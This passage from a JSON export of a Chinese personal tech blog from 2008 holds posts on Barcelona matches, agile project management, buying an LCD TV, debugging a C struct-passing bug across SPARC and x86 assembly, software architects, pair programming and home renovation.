绩上，巴萨占据较大优势。\u003c/p\u003e","title":"梅西·锦上添花巴萨取首胜"},{"content":"国内，也包括国外大多数项目经理/技术经理都是技术出身，工作了若干年，羽翼丰满后，被赋予了带领一个项目的责任。从技术到管理的过程多数人都需要一段时间去转换和适应。什么时候算是合格了或者说是入道了呢？没有标准。但是从我的体会而言，是否开始主动思考项目是至关重要的一点，一个重要的转折点。\n刚刚从技术转为管理的人一般都不能很好适应角色的变化。技术人员最拿手的、最擅长的就是技术了，编码是他们发挥才能的舞台所在，也是获取成就感的源泉所在。以前一个技术人员可能只需要完成自己那摊子事情即可，但是转换为项目经理角色后，他要关心的事情就比较多、比较繁琐了。时间、质量和人，无一不要涉及到。更有甚者对于国内很多开发行业软件的项目经理而言，应对行业客户也可能是份内的职责，焦头烂额也许是刚刚步入项目经理角色的人最真实的写照。刚开始做的不好，遭遇挫折和抱怨其实不是项目经理的错，他们曾经是技术人员，没有经历过系统学习和培训，转换角色后都是摸着石头过河，起初势必没有头绪，或者是照猫画虎，把以前自己的顶头上司的那套照搬过来，执行之，也不管到底适合否。项目在这样的状态下运行的磕磕绊绊，但在这样的一个过程中，多数项目经理会发现问题，开始调整、学习、咨询、参加各种培训，试图破解自己遇到的诸多问题。\n开始思考项目，我觉得这应该是一个项目经理真正融入角色的一个标志。带了这么长时间的项目，我也是从今年中期才逐渐发现自己开始有意无意的思考整个项目的。中期总结、下半年目标制定、项目过程上的一些改进和新的尝试、新员工培养计划、促进现有人员技能提升以及新技术框架的使用，这一切都是在思考之后采取的措施。\n公司采用的CMMI的Heavy Development Process，从心底比较抵触。做过几个项目后，发现自己再也不愿意做重复的事情了，决定另起一条线，尝试一些Agile的Practice。一个人努力的持续推进Process的改善，挺累的。很多人不理解，不清楚为什么要这么做，我也计划着逐步通过讨论和Training向大家渗透一些Agile的观点和做法，让大家从各个方面接受之。虽然我也只是初步了解一些Agile的东西，呵呵。\n目前已经开始尝试的Practice包括：\n- 看板管理；\n- Daily Stand-up Meeting；\n- 阶段性成果演示；\n- 持续集成；\n从目前来看，大家似乎对持续集成不是很感冒，对于CC.rb发送的build fail的mail也置之不理，自己都无法build成功的代码也照常提交，这只能说明大家尚未了解CI的好处，也没有养成好的代码提交习惯。\n看板和Daily Stand-up Meeting对于大家来说都是很新鲜的事物，大家有着很高的热情，目前感觉瓶颈在我，如何能正确的执行这两种Practice，还需要我继续学习、实践和思考。一批书籍待我去读和领悟。\n阶段性成果演示收到的效果最出乎我的意料，曾经写过一篇blog专门述之。\n提高执行力、提高个人和团队工作效率、合理的团队建设、减少浪费和不断的过程改进是我下半年的几个改进重点。可以说，现在的项目是我的一个试验品，要想试验成功，没有一股子韧劲儿是不成的。对自己说：坚持住。\n","permalink":"https://tonybai.com/2008/09/17/begin-to-think-over-the-project/","summary":"\u003cp\u003e国内，也包括国外大多数项目经理/技术经理都是技术出身，工作了若干年，羽翼丰满后，被赋予了带领一个项目的责任。从技术到管理的过程多数人都需要一段时间去转换和适应。什么时候算是合格了或者说是入道了呢？没有标准。但是从我的体会而言，是否开始主动思考项目是至关重要的一点，一个重要的转折点。\u003c/p\u003e","title":"开始思考项目"},{"content":"2008年9月14日凌晨02:00（北京时间），本赛季首战失利的巴塞罗那队坐镇主场诺坎普体育场迎接桑坦德竞技队的挑战。此役全队上下志在必得，势将对手斩落马下。但考虑到在本周中国际足球比赛日中大部分队员都参加了国家队的赛事，身体劳顿，且下周中（9月17日）2008-09冠军联赛小组赛首轮打响，少帅瓜迪奥拉还 是隐藏了包括梅西、亨利、伊涅斯塔、马科斯在内的多名主力。凯塔、赫莱布、小将皮克、布斯克茨和佩德罗获得首发机会。桑坦德竞技在2007-08赛季最终 排名第六，进军联盟杯，实力位列西甲中上游。而且本赛季首轮即战平强敌塞维利亚。本场桑坦德人低调出战，但私下里却意图在诺坎普全身而退。\n在诺坎普少有球队愿与巴萨打对攻。桑坦德竞技也不例外，开场后桑坦德人收缩防守在己方半场，巴萨众队员则是耐心展示娴熟的控球艺术，第14分钟，赫莱布突破到左路底线，将球传给中路哈维，哈维顺势将球拨给位置更佳的凯塔，凯塔左脚外脚背大力抽射打偏。第18分钟，小将布斯克茨中路分球给禁区右侧的27号佩德罗， 后者横向带球趟过一名后卫后，左脚打门，门将飞身将球得到。第21分钟，巴萨获得左路角球，哈维主罚，凯塔在禁区前高高跃起头球攻门，可惜角度太正，被门 将逮个正着。巴萨始终占据着场上优势，第29分钟，又是凯塔在门前25码处接埃托奥回传球左脚大力施射，本场表现突出的桑坦德门将再次将球牢牢抱住，化解 了险情。第36分钟，赫莱布在左路被对方球员铲倒在地，伤势较为严重，不能继续比赛，伊涅斯塔替补出场，白俄罗斯人看来太不走运了。整个上班场巴萨一直压 着对方打，桑坦德人甚至都没获得什么像样的射门机会。\n下半场刚开场，巴萨连续发起进攻。第46分钟，巴萨右路发起一次进攻，阿尔维斯挑射 攻门，皮球击中横梁弹出。第54分钟，哈维右路接埃托奥回传远射偏出。第57分钟，巴萨获得绝好机会，伊涅斯塔左路下底传中，皮球穿越桑坦德整条左路防 线，中路佩德罗拍马赶到，门前咫尺的劲射居然正中门将下怀，巴萨将士也无奈运气太差。久攻不下后，第59分钟瓜帅决定换上10号梅西，加强进攻，之前表现抢眼的凯塔被换下。梅西在上轮比赛失利后，剪掉了一头象征阿根廷潘帕斯雄鹰的长发，意为“削发明志”，梅西2004年正式升入一队并代表巴萨出场时就是齐耳短发，的确显得很精神。第62分钟，梅西右路拿球后，依住对方后卫一脚轻巧的直塞球给阿尔维斯，对方后卫失位，无奈铲倒阿尔维斯，受到黄牌处罚，巴萨获得右路 任意球。梅西做掩护，哈维主罚，球被对方球员解围。第63、64分钟，梅西连续两次带球突入禁区，无奈在对方三四名后卫的围抢下，没能形成有效射门。面对 梅西右路犀利的突破，桑坦德主教练连续换人，加强对梅西这一侧的防守。第68分钟，桑坦德门前一阵混乱，巴萨多名球员的必进射门居然都被门将和后卫挡出， 巴萨的运气简直太糟糕了。\n梅西带球突破\n巴萨连续的围攻终于在第69分钟收获成效，阿尔维斯右路传中，桑坦德后卫防守中禁区内手球，被处以极刑。梅西没有让巴萨的霉运继续，假动作骗过门将，左脚轻巧推射，点球一蹴而就。巴萨终于凭借梅西的这粒点球开张了，虽然这例进球来的有些迟。\n梅西点球瞬间\n梅西队友庆祝进球\n普队恭喜梅西进球\n梅西进球后向球迷致意\n比赛继续，失球后的桑坦德竞技明显加强了攻势，试图扳回比分，巴萨则在拿球后试图用控球来控制比赛节奏。也许是老天眷顾桑坦德人或者说是要多多磨练一下巴萨队员的意志，第77分钟，巴萨队长普约尔禁区前沿与对方球员争顶头球时犯规，桑坦德竞技获得前场任意球。对 方4号加雷左路任意球推射攻门，皮球被埋伏在中路的20号霍纳桑伸腿一挡后边线弹入大门，巴尔德斯对这样的球也是毫无办法。桑坦德全场第一次有效攻门就得 手了，比分变成了1：1，双方再次回到同一起跑线上。随后瓜帅用博扬换下队长普约尔，全力猛攻对手，几乎围着对方球门打，桑坦德人也全力防守，巴萨球员场上表现出了急躁的态度，节奏明显加快，但失误率也显著上升，最终巴萨也没能在最后这10多分钟取得进球，无奈在主场与对手打成平局，要说本场谁是最佳，桑坦德竞技队的门将全票当选^_^。\n本场比赛梅西虽然打入了本赛季的第一个个人联赛入球，同时也是巴萨本赛季的第一粒联赛入球，但是却没能给球队带来胜利。不过从整场比赛来看，巴萨将士表现已经算是很好了，控球率72%占据绝对优势，只是差那么一点点运气。虽然只收获平局，但球队的成长曲线还是良好的。从第一场的0:1小负到本场的1:1打平，巴萨的球迷们似乎看到了曙光，下一场巴萨是否就会迎来新赛季首场胜利呢？让我们拭目以待吧。\n","permalink":"https://tonybai.com/2008/09/14/barca-vs-racing_santander/","summary":"\u003cp\u003e2008年9月14日凌晨02:00（北京时间），本赛季首战失利的巴塞罗那队坐镇主场诺坎普体育场迎接桑坦德竞技队的挑战。此役全队上下志在必得，势将对手斩落马下。但考虑到在本周中国际足球比赛日中大部分队员都参加了国家队的赛事，身体劳顿，且下周中（9月17日）2008-09冠军联赛小组赛首轮打响，少帅瓜迪奥拉还 是隐藏了包括梅西、亨利、伊涅斯塔、马科斯在内的多名主力。凯塔、赫莱布、小将皮克、布斯克茨和佩德罗获得首发机会。桑坦德竞技在2007-08赛季最终 排名第六，进军联盟杯，实力位列西甲中上游。而且本赛季首轮即战平强敌塞维利亚。本场桑坦德人低调出战，但私下里却意图在诺坎普全身而退。\u003c/p\u003e","title":"梅西·入首球难掩平局尴尬"},{"content":"恰在北京奥运开幕式后的第二天搬到新房子，但是由于前期逛家电商场时和GF没能就型号达成一致，所以搬到新家后居然没有电视可看。这可是百年不遇的在中国举办的奥运会啊，怎可以没有电视呢？所以选购电视就成了第一要务。GF对国产电视没有信心，所以基本上我们还是在三星、飞利浦、夏普等大的国际品牌中挑选。\n做了一些功课后，开始搜街。\nGF更喜欢夏普的电视，毕竟刘若英的夏普Aquos的广告铺天盖地，不过投入广告的费用夏普势必是要从老百姓手里拿回去的，这也是导致夏普电视在同一尺寸型号上比其它品牌的电视贵出不止一点半点的原因之一吧。夏普的液晶电视研发历史似乎最悠久，似乎从1930年就开始研究了，但我可不是有钱人，第一次就买一个这么贵(上万RMB)我的心里有些过不去，因为我知道电视这个东西在我们的生活中用途并不大，我就将在新浪上看到了Sharp的黑屏事件的网页转给了GF，直到她看Sharp的眼神发生变化为止，这招挺管用^_^。\n我和GF最早看好了的是三星LA40A350C1，买三星就是因为其在电脑显示器领域的口碑，做IT的都知道计算机显示器做的很好，属于市场上的高端。我不是很清楚在液晶电视领域三星是否是NO.1，但是三星电视在外观工业设计以及画面色彩的靓丽方面做足了功夫，也因此吸引了诸多购买者。但是三星液晶的尺寸也很奇怪，没有42寸的型号，面板都是40寸的，略微有些小。而且更关键的一点是三星的液晶价格也是不菲的，且三星同一个型号的电视所使用的屏居然来自多个厂，网上有人说有三星原厂屏、台湾屏还有苏州屏，我还就此事问过卖场的销售人员，按照他的说法，三星5系列以下(包含5系列)的型号用的都不是原厂屏，台湾屏多一些。三星电视的价格调整很频繁，LA40A350C1先是降到了6000多，一个星期后又涨到了7000多，面对这样的情况，我选择了放弃。\n东芝和索尼外观没有被GF看好，也就很少关注了。\n唯一剩下的就是飞利浦这个老牌电视厂商了。说实话飞利浦电视其实并不是飞利浦的主要盈利部门，面对三星、夏普的竞争，飞利浦也有些力不从心。但是飞利浦毕竟拥有自己的液晶、电路和音响技术，相信这些技术组合在一起的飞利浦液晶也不会错到哪去。飞利浦的5系列的42寸PFL5403/93型号是目前飞利浦卖场里比较热销的型号，它的外型设计我很满意，黑色边框，外加一圈透明树脂框，据说是为提高音响效果而专门设计的，我从其他任何厂家的产品上都没有看到。1080p全高清，2代逐点高清技术，接口丰富，有些接口我都不知道是做什么的。这些已经足够了。价钱在8000元以下，这个价位想买到一个满意的全高清产品比较不容易，我和GF商量一下后，就定它了。\n但是遗憾的是，当我搬家后再去卖场时，多家卖场已经告知我们该型号没有货了，我们无奈只能到沈城的中兴商厦，中兴存货量大，但是价格也比其他地方贵上几百块，所以我们猜想，那个地方可能还有存货，不出所料，中兴有货，不过价格要高出400块，没办法为了奥运只能拿下。第二天，货到。接上有线后发现只能收到6个台，其中只有新闻频道一个台可以收看奥运，经分析发现：因为最近新家周围这片儿已经进行了数字机顶盒改造，原先的有线信号已经无法继续观看了。第二天办理机顶盒，接上电视，顺利收到76个频道。画面质量满足我的要求，特别是播放电影的频道，清晰度都不错；音响也不错，低音效果很好，特别是男性低音时，坐在沙发上有时都可以感觉到地砖在震动，一点不夸张。色彩我就不说了，因为我对色彩不敏感。但是唯一遗憾的就是播放足球比赛时还是让我很郁闷的。特别是奥运会男足决赛阿根廷vs.尼日利亚的那场，足球在屏幕上很小，不知是信号的原因还是液晶都是这样，足球在屏幕上显示得不像CRT电视那样圆，细节方面真的和CRT没法比，看来动态细节画面对液晶电视来说还是属于硬伤啊。但是静态画面或非快速的动态画面还是很清晰的。由于中国有线电视的信号还是4:3的，所以用16:9播放人略显发胖，但是你可调整为4:3播放，如果你不介意电视屏幕两边两个黑黑的竖条就可以。\n42PFL5403/93\n到目前还没尝试过连接笔记本电脑、DVD播放机等，还不知道效果如何，估计效果会不错，因为网上有网友试过，准备下载些720p或更好的高清电影或预告片，我也试试高清电视播放高清片源是个什么感觉。\n用了近一个月时间，发现42PFL5403/93这款电视偶尔会从电视的控制面板方向传来电噪音，声音不大，偶尔听到。在网上论坛也有人反映这一现象，估计这批产品都有此瑕疵，不影响观看，也就不计较了。飞利浦液晶电视采用的是IPS硬屏，无论是软屏还是硬屏，对于我这个普通用户来说，没有什么观感上的区别。\n总而言之，42PFL5403/93这款产品对于我这样的入门级/家庭级使用者来说已经足够了，甚至有些大材小用了，因为我平时就是用它来看看电视，不过游戏机已经悄悄列上了我的计划采购列表，说不定什么时候，我的电视里播放的就是超炫的游戏画面了。嘿嘿，我不是个游戏迷，对此要求还不迫切。\n顺便：祝大家中秋节快乐！明天带盒月饼回家，看看老妈老爸还有姥姥，希望他们都健健康康，顺心如意。\n","permalink":"https://tonybai.com/2008/09/13/choose-and-buy-lcd-tv/","summary":"\u003cp\u003e恰在\u003ca href=\"http://tonybai.com/2008/08/08/now-let-us-be-the-witness-of-29th-beijing-olympic-games-together/\"\u003e北京奥运开幕式\u003c/a\u003e后的第二天搬到新房子，但是由于前期逛家电商场时和GF没能就型号达成一致，所以搬到新家后居然没有电视可看。这可是百年不遇的在中国举办的奥运会啊，怎可以没有电视呢？所以选购电视就成了第一要务。GF对国产电视没有信心，所以基本上我们还是在三星、飞利浦、夏普等大的国际品牌中挑选。\u003c/p\u003e\n\u003cp\u003e做了一些功课后，开始搜街。\u003c/p\u003e\n\u003cp\u003eGF更喜欢夏普的电视，毕竟刘若英的夏普Aquos的广告铺天盖地，不过投入广告的费用夏普势必是要从老百姓手里拿回去的，这也是导致夏普电视在同一尺寸型号上比其它品牌的电视贵出不止一点半点的原因之一吧。夏普的液晶电视研发历史似乎最悠久，似乎从1930年就开始研究了，但我可不是有钱人，第一次就买一个这么贵(上万RMB)我的心里有些过不去，因为我知道电视这个东西在我们的生活中用途并不大，我就将在新浪上看到了Sharp的黑屏事件的网页转给了GF，直到她看Sharp的眼神发生变化为止，这招挺管用^_^。\u003c/p\u003e","title":"液晶电视选购使用记"},{"content":"C语言程序员在平时工作中，到底如何获取成就感呢？我几乎可以肯定的是：找到一个隐藏已久，多年无人发现的大Bug肯定可以归属到C程序员成就感的范畴中。与操作系统斗、与编译器斗、与内存斗，其乐无穷吗^_^。\n今天测试人员在进行平台迁移测试时发现一个致命的问题，导致系统不能正常工作。问题提到我这，为了不耽误测试进度，马上丢下手头的工作开始问题的查找，经过GDB多次跟踪调试，终于发现了一隐藏多年的问题，至于能否称为Bug呢，我还不敢确定，因为我尚不清楚当年的前辈们在书写这些代码时到底是如何考虑的。\n前不久听说隐藏在FreeBSD系统中长达25年的一个Bug终于被Fixed了，当然今天我发现的这个问题肯定不及FreeBSD的这个Bug重要，但是对于我们的产品来说还是有很大意义的。\n其实这个问题很简单，这里简单用一个例子来展示这个问题(稍后我还会用这个例子做进一步深入分析)：\n/* TestFoo.c 注意该文件并不一定在所有编译器下都能顺利编译通过，警告是不可避免的了 */\ntypedef struct Foo {\nint a;\nint b;\nint c;\n} Foo;\nint main() {\nFoo f;\nf.a = 17;\nf.b = 23;\nf.c = 19;\ntest_foo(f);\n}\nvoid test_foo(Foo *pfoo) {\npfoo-\u0026gt;c = 29;\n}\n明眼人一眼就能看得出来，test_foo调用时，没有按照test_foo的原型传入f的地址，而是将f以值得形式传给了test_foo这个函数。就是这样的一个很低级的问题。当然了如果一个系统只有几行代码的话，这个问题可能会马上暴露出来；但是在一个拥有几十万行代码且稳定运行了若干年的系统中，没人会注意这个问题。\n有人马上会提出两个疑问：\n为什么编译器没能给出参数类型不匹配的警告？ 为什么系统能在这样明显的问题下稳定运行若干年而不出错呢？ 首先回答第一个问题：之所以编译器没能给出警告是因为项目遗留代码不规范的缘故，在调用test_foo这个角色函数的C文件中并没有引用test_foo原型声明所在的头文件，更不专业的是：test_foo这个函数根本没有在任何头文件中给予原型声明；这样一来，编译器在编译阶段无从知道test_foo到底是个什么样子的函数，也就无法给出正确的调用检查了。而在链接阶段根本不对参数进行有效检查，导致漏洞得以延续。\n第二个问题也是今天在发现这个问题后我最最疑惑的了。按理论上分析，如果按照上述例子中代码，f以值传递方式传入test_foo，test_foo会将f的头4个字节转换成一个Foo指针类型，这样在test_foo中引用pfoo时实际上访问的地址应该是0×11(17d)，这个地址在应用程序进程地址空间属于系统地址空间，用户根本无法访问，一旦访问势必违法，如果在SUN SPARC平台上势必是要崩core的。但是实际情况是这样吗？我将上述程序放到SPARC Solaris9平台上用GCC 3.2版本编译器编译后，居然执行后一切OK。而这个源代码放到X86 Solaris 10上用GCC 3.4.6编译后(如果想编译成功，需要将test_foo的返回值改成int)运行就会出Core。初步得出结论：不同CPU体系对该种代码的处理有不同，需逐一分析。\n先来看看SPARC Solaris9，用GDB跟踪程序：\nStarting program: a.out\nBreakpoint 1, test_foo (pfoo=0xffbff0c0) at TestFoo.c:20\n20 pfoo-\u0026gt;c = 29;\n(gdb) up\n#1 0x0001069c in main () at TestFoo.c:15\n15 test_foo(f);\n(gdb) p \u0026amp;f\n$1 = (Foo *) 0xffbff0d0\n可以看到在main中，f的地址是0xffbff0d0，而传入test_foo后，pfoo指向的地址居然是0xffbff0c0了。一个推翻前面推理的猜想：编译器在栈上复制了一份f，得到了f\u0026rsquo;，并将f\u0026rsquo;的地址传给了test_foo。但是编译器为什么要这么做呢？似乎是当编译器发现传入函数的实际参数的值类型大于形式参数类型的时候，都要这么来做，这里我也没有什么特殊的根据，只是通过实验得出这个结论。比如：\n/* testvaluepass.c */\ntypedef struct Foo {\nint a;\nint b;\nint c;\n} Foo;\nint main() {\nFoo f;\nf.a = 17;\nfunc(f);\n}\nvoid func(int x) {\nx = 7;\n}\n/* testvaluepass.s , \u0026lt;=gcc -S testvaluepass.c*/\nmain:\n!#PROLOGUE# 0\nsave %sp, -144, %sp // 寄存器窗口切换（似乎是SPARC独有的机制），fp\u0026lt;- old_sp, new_sp \u0026lt;- old_sp – 144\n!#PROLOGUE# 1\nmov 17, %o0\nst %o0, [%fp-32] //%fp-32 \u0026amp;f.a\nldd [%fp-32], %o0\nstd %o0, [%fp-48] //从%fp-48开始，复制f得到f\u0026rsquo;，先copy一个dword，再来一个word，一共12个字节\nld [%fp-24], %o0\nst %o0, [%fp-40]\nadd %fp, -48, %o0 //将f\u0026rsquo;的地址存入%o0，在subroutine func中, %o0随着寄存器窗口的变动，新栈帧中%i0等于old栈帧中的%o0，也就是f\u0026rsquo;在栈上的首地址\ncall func, 0\nnop\nmov %o0, %i0\nnop\nret\nrestore\nfunc:\n!#PROLOGUE# 0\nsave %sp, -112, %sp\n!#PROLOGUE# 1\nst %i0, [%fp+68] //将f\u0026rsquo;地址写入本地变量x中\nmov 7, %i0\nst %i0, [%fp+68] //将7赋值给x\nnop\nret\nrestore\n有了这个例子之后，我们可以分析第一个例子了，同样也是在经过汇编之后：\nmain:\n!#PROLOGUE# 0\nsave %sp, -144, %sp\n!#PROLOGUE# 1\nmov 17, %o0\nst %o0, [%fp-32]\nmov 23, %o0\nst %o0, [%fp-28]\nmov 19, %o0\nst %o0, [%fp-24]\nldd [%fp-32], %o0 //这四行语句在重新复制一个f\nstd %o0, [%fp-48]\nld [%fp-24], %o0\nst %o0, [%fp-40]\nadd %fp, -48, %o0 //将新f\u0026rsquo;的地址放到%o0中，而不是将[%fp-48]存入%o0，关键啊！\ncall test_foo, 0\nnop\nmov %o0, %i0\nnop\nret\nrestore\ntest_foo:\n!#PROLOGUE# 0\nsave %sp, -112, // 寄存器窗口切换，fp\u0026lt;- old_sp, new_sp %i0\n!#PROLOGUE# 1\nst %i0, [%fp+68] //%i0存储的是f’的地址，是在save时由%o0得来的，存入[%fp+68]，即形式参数变量在栈上的地址。而恰好的是这个参数还是一个Foo*类型，这也是在SPARC上没出错的原因了。\nld [%fp+68], %i1 //%i此时存储的是f\u0026rsquo;的地址, 这个就是gdb跟踪时的0xffbff0c0\nmov 29, %i0\nst %i0, [%i1+8] //将29存入f\u0026rsquo;.c里面去了\nnop\nret\nrestore\n这样一来，没有出core的原因也就找到了，但是编译器为何如此做，还无法得出确切结论。\n前面说过，在X86平台上，第一个例子程序是出core的，我们同样也来看看x86平台下的汇编码(与SPARC不同，esp一直在动)：\n.globl main\n.type main, @function\nmain:\n.LFB2:\n.LM1:\npushl %ebp\n.LCFI0:\nmovl %esp, %ebp //ebp \u0026lt;- old sp\n.LCFI1:\nsubl $24, %esp .LCFI2:\nandl $-16, %esp movl $0, %eax\naddl $15, %eax\naddl $15, %eax\nshrl $4, %eax\nsall $4, %eax\nsubl %eax, %esp\n.LM2:\nmovl $17, -24(%ebp) //f.a init %ebp-24\n.LM3:\nmovl $23, -20(%ebp) //f.b init %ebp-20\n.LM4:\nmovl $19, -16(%ebp) //f.c init %ebp-16\n.LM5:\nsubl $4, %esp\npushl -16(%ebp) //push onto stack, as first parameter\npushl -20(%ebp)\npushl -24(%ebp) .LCFI3:\ncall test_foo\naddl $16, %esp\n.LM6:\nleave\nret\ntest_foo:\n.LFB3:\n.LM7:\npushl %ebp //save old ebp\n.LCFI4:\nmovl %esp, %ebp //current ebp \u0026lt;- old esp\n.LCFI5:\n.LM8:\nmovl 8(%ebp), %eax //eax \u0026lt;- ebp + 8 ，将ebp+8那块内存的值放到%eax，而这个值恰好是0×11(17d)\nmovl $29, 8(%eax) //访问0×11+8显然不合理，出core\n看来，不同平台的编译器生成代码差异还是不小的，但是在系统里发现的这个问题到底是否定性为Bug呢?也许这样的一个问题在早期的实现者头脑里早已经是已知的了，他可能就是故意这么做的。如果真的是这样的话，那还真不能算作一个bug，而是我们水平太浅，没能意识到这点。但可以肯定的是是这样编写代码绝对是一个不好的代码风格和习惯。另外发现代码中除了这一处之外还有多处相类似的调用，多是将变量值直接付给一个地址参数了。\n附: SPARC汇编笔记\n","permalink":"https://tonybai.com/2008/09/06/found-a-bug-that-is-hidden-several-years/","summary":"\u003cp\u003eC语言程序员在平时工作中，到底如何获取成就感呢？我几乎可以肯定的是：找到一个隐藏已久，多年无人发现的大Bug肯定可以归属到C程序员成就感的范畴中。与操作系统斗、与编译器斗、与内存斗，其乐无穷吗^_^。\u003c/p\u003e","title":"发现一隐藏多年的Bug"},{"content":"这周我在两个会议场合听到“架构师”这个词。对于软件开发领域的人来说，\u0026ldquo;架构师\u0026quot;这三个字并不陌生，甚至很崇高。每当提到架构师的时候，大家眼睛都会放出羡慕和期待的光芒，因为众所周知的原因：\u0026ldquo;架构师\u0026quot;对于搞技术的人来说，都是\u0026quot;大牛\u0026quot;的代名词。\n就像不想当将军的士兵不是好士兵一样，不想当大牛的技术人员肯定也不是好的技术人员。\n第一个谈到\u0026quot;架构师\u0026quot;的场合是在会议室和一位要好的同事讨论新项目的需求时，他感慨道：\u0026ldquo;当初我还以为架构师有多厉害，现在我们都是架构师了，也没有经过什么专业培训，带一两个项目，项目里架构不都是自己设计出来的吗，在客户那照样运行的很好\u0026rdquo;。\n第二个说到\u0026quot;架构师\u0026quot;的场合是今天，也同样是在会议室，和几个同事一起做一个性能测试方案的评审时。部门即将投标的一个系统，该系统有一个硬性指标就是系统的消息处理能力要达到x万条。针对该标，一位资深的老同事，也是我们开发部的副部长说：如果能搞定这个x万条技术方案的人才算是真正的架构师，我们在座的目前还都是‘伪架构师’。\n说心里话，目前我自己还根本不够一个架构师的资格，自己的水平还浅的很。从上述两个场合来看，每个人对’架构师’这个角色的理解有不同。我曾经是这样理解一个架构师的：架构师一定要是一个技术大牛，既要专又要广，对计算机体系结构有着X光般透彻的理解；在某门语言方向上有着语言专家般的把握；对前沿技术有着鹰眼般敏锐的眼光，对操作系统、编译器、数据库、网络等都了如指掌，或者说无所不知；任何复杂的系统在他的大脑中都有精妙的技术解决方案。但现在看来，这种想法有些幼稚，也太理想化。\n我开始质疑：技术大牛是否是“架构师”的充要条件呢？我们看看其他行业领域吧，比如说三峡工程、比如说神舟飞船系统工程、比如说阿联酋的迪拜塔等等。想像一下他们的架构师们是一些什么样的人呢？他们每天做的事情都有哪些呢？我想他们做的最多的应该不是技术。这里又回到了上面的问题，是否架构师一定就是技术大牛呢？我们看看拥有架构师头衔的名人：微软首席架构师-比尔.盖茨、网易首席架构师丁磊；没听说过比尔.盖茨亲手设计了Windows的内核，也没听说丁磊在网易的主流产品中亲自设计了什么什么架构；我们更多的是在媒体里看到他们对技术的理解，对未来产品方向的把握；当然了我们平时见到的架构师肯定没有这二位有名气，但是他们应该有些共同之处：他们集各种基础素质于一身，这些素质包括技术能力、沟通能力、管理技巧、业务分析能力、问题的分析和解决能力等。技术牛只是架构师的一个基本素质或者说基础条件之一，也就是说技术牛人不一定就能被称为架构师，而架构师可能在技术上有很高建树，但也不一定是如我最初理解的那种技术大牛。\n除了上述那么多能力之外，其实架构师也是一般人，他们也许更擅长的是平衡的艺术，他们拥有更多的是沉淀后的经验，他们知道哪里是短板、哪里是硬伤、哪里是死穴，他们的魅力在于他们的智慧，他们给人的感觉是热情中却不乏稳重，这样的人才真正值得\u0026quot;架构师\u0026quot;这个称号。\n","permalink":"https://tonybai.com/2008/09/04/thoughts-on-architect/","summary":"\u003cp\u003e这周我在两个会议场合听到“架构师”这个词。对于软件开发领域的人来说，\u0026ldquo;架构师\u0026quot;这三个字并不陌生，甚至很崇高。每当提到架构师的时候，大家眼睛都会放出羡慕和期待的光芒，因为众所周知的原因：\u0026ldquo;架构师\u0026quot;对于搞技术的人来说，都是\u0026quot;大牛\u0026quot;的代名词。\u003c/p\u003e","title":"小议架构师"},{"content":"Pair Programming, 结对编程是敏捷开发中一个重要的实践，并受到很多业界大师级人物的推崇。但是明知它对我们可能会很有帮助，但是如果推广、实践起来还是要突破各种束缚的，心理上的、流程规范上的等等。我想也许这也或多或少也和公司或者部门的开发文化有些关系。我很想去尝试，但是一直没有找到一个很好的机会，也没有找到\u0026quot;心仪\u0026quot;的Partner。\n今天上午恰好要完成一个脚本的编写，这是一个升级产品时使用的自动升级脚本，基础接口在上个月组内的一个同事已经完成了，并经过了大家的评审，认为可行。今天我就是要利用他的这个基础shell函数库来完成我的自动升级脚本的整理。\n时间久了，那点关于这个脚本的模糊记忆早已经不存在了，很多细节我需要向我的那位同事请教。本打算找间会议室，坐在一起讨论的，后来发现会议室也被人占领了。上午的计划就是完成这个脚本，计划既然定下来了，就得执行，提高执行力一直是我这阶段的目标之一。就这样，我把这位同事叫到跟前，我们找了一块还算空旷和僻静的办公区坐了下来。我把我的想法向他做了陈述，告诉他我们一起完成这个脚本的初稿。我来掌控笔记本。按照以前我们升级的步骤，我们一步一步来实现脚本的功能，中间有自己不能确认的问题，就将键盘交予他来确认；他的基础脚本当初没有经过详尽的系统测试，也是碰巧，我们在一起写代码的时候居然又发现了原有代码中两个不妥的地方。\nPair的确是会调动人的热情和积极性的。但前提是有一个良好的、适合二人的工作空间；我自己觉得转角的办公桌是不太适合Pair的，两个人坐在转角旁，估计一会就累了-手脚无法伸展。掌控键盘的一方要多与另一方沟通，保持另一方的精神一直集中在你们的工作上，人和人在一起还是很容易溜号儿的。\n经过半个多小时的编写，初稿搞定；回想一下，如果我选择的是自己闷头写脚本，然后再让那位同事评审，势必牵扯出不少额外工作量的；而结对的这种方法的确帮我解决了这样的一个问题。\n事后反思，觉得的确应该把这一活动看成是一种Pair Programming。虽然现在我对Pair的认识和实践还处于肤浅之状态，但我想万事万物都无定式，最适合的才是最好的，摸索出适合我们组开发的PP模式才是最重要的，还需要实践、积累以及让更多的人参与其中。\n","permalink":"https://tonybai.com/2008/09/02/unexpected-pair-programming/","summary":"\u003cp\u003ePair Programming, 结对编程是敏捷开发中一个重要的实践，并受到很多业界大师级人物的推崇。但是明知它对我们可能会很有帮助，但是如果推广、实践起来还是要突破各种束缚的，心理上的、流程规范上的等等。我想也许这也或多或少也和公司或者部门的开发文化有些关系。我很想去尝试，但是一直没有找到一个很好的机会，也没有找到\u0026quot;心仪\u0026quot;的Partner。\u003c/p\u003e","title":"无意中的Pair Programming"},{"content":"从4月初到8月中旬，装修(+家具、电器采购)整整持续了四个多月，由于亲戚朋友都不在身边，装修的劳顿使我在这段时间内体重急剧减少了近10斤，体力的不堪重负和心理的烦躁促成了这一\u0026quot;减肥\u0026quot;过程。都说装修是门遗憾的艺术，凡是亲历过装修的人想必都有所感悟吧。有人说：遗憾是一种美，但我的感觉是装修中的遗憾，其实不美。\n我的装修遗憾列表(按装修流程的先后顺序):\n设计阶段\n- 年初找装修公司时恰逢人力成本和各种材料涨价，因此多付了数千元的装修费用；\n- 设计师水平平庸，整体设计没有亮点，很多地方还是我们提供给设计师的思路；让我感觉设计师似乎可有可无；\n施工阶段\n- 由于无人监督，以致墙体大白铲除不干净，特别是门框内测部位，给木门安装带来隐患；\n- 原有插座、开关没有嘱咐工人做保护，在电改造时付出很多浪费；\n- 没有考虑到数字电视机顶盒的影响，导致卧室内有线口位置留得不当；\n- 卫生间没有坚持留出拖布池的下水，抹布的洗涮很是不便；\n- 电工在埋设墙体电视线管时将客厅和卧室间的墙体打穿，留下隐患；\n- 阳台洗衣机龙头留的过于低矮了，不美观；\n- 多留了一个小区纯净水的水口，结果发现小区纯净水是单循环的，水质很差根本不能用；\n- 橱柜后面预留的两个插座太靠边，最右侧的一个伸手根本无法够到，派不上用场；\n- 厅里沙发背后的插座位置有些偏中间，导致沙发长度只能买3米以内的；\n- 厅里留了两个电话口，中间那个根本无用，还多花了一个电话口的价钱；\n- 